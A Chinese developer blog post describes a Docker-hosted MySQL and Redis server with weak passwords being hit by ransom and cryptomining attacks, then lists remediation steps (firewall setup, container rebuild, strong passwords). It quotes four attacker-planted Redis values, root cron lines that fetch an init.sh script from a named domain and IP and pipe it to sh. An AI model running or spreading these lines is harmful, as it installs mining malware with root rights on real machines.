私人服务器使用docker搭建MySQL和Redis的开发环境后没有很在意安全防护,直接使用123456这种弱密码的方式搭建的,最后被扫描攻击了。
MySQL连接后发现库里的数据都没了,出现了以下库,勒索要钱的:
请添加图片描述
Redis连接后key也都没了,出现了这几个东西,挖矿的:

> keys *
backup4
backup2
backup3
backup1
> get backup1
*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
> get backup2
*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
> get backup3
*/4 * * * * root curl -fsSL http://45.128.150.171/cleanfda/init.sh | sh
> get backup4
*/5 * * * * root wd1 -q -O- http://45.128.150.171/cleanfda/init.sh | sh

1、开启防火墙

使用docker stop 停掉相关容器

systemctl enable firewalld.service #开机自启防火墙
systemctl start firewalld #启动防火墙
systemctl status firewalld #查看防火墙状态

但是在检查状态的时候报了个这错误

firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2022-08-05 10:44:05 CST; 2s ago
     Docs: man:firewalld(1)
 Main PID: 5929 (firewalld)
    Tasks: 2
   Memory: 33.4M
   CGroup: /system.slice/firewalld.service
           └─5929 /usr/bin/python2 -Es /usr/sbin/firewalld --nofork --nopid

Aug 05 10:44:04 ls-u7x6wtwe systemd[1]: Starting firewalld - dynamic firewall daemon...
Aug 05 10:44:05 ls-u7x6wtwe systemd[1]: Started firewalld - dynamic firewall daemon.
Aug 05 10:44:05 ls-u7x6wtwe firewalld[5929]: WARNING: AllowZoneDrifting is enabled. This is consi...ow.
Hint: Some lines were ellipsized, use -l to show in full.

修改配置,重启防火墙

#修改配置
vim /etc/firewalld/firewalld.conf
# 修改内容
AllowZoneDrifting=yes 改成 no
# 重启防火墙
systemctl restart firewalld

2、重新启动docker

重启防火墙之后需要重启docker,不然启动容器会报端口错误。

systemctl restart docker

3、删除旧镜像,创建新镜像并设置强密码

可以改一下密码重新用的,但是担心镜像里面已经被注入了一些脚本呀啥的,且没啥重要数据需要恢复。

docker stop 镜像id
docker rm 镜像id
# 创建MySQL镜像
docker run --name mysql \
-v /wecoding/tools/mysql/conf:/etc/mysql \
-v /wecoding/tools/mysql/data:/var/lib/mysql \
-p 3306:3306 \
-e MYSQL_ROOT_PASSWORD="新密码" \
--net=my-net --network-alias mysql \
-d mysql:5.7 --lower-case-table-names=1
#创建redis镜像
docker run \
-p 6379:6379 --name redis \
-v /wecoding/tools/redis:/etc/redis \
-v /wecoding/tools/redis/data:/data \
--net=my-net --network-alias redis \
-d redis:5.0 redis-server /etc/redis/redis.conf --appendonly yes
# 设置redis密码
docker exec -it redis redis-cli
config set requirepass 新密码
Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐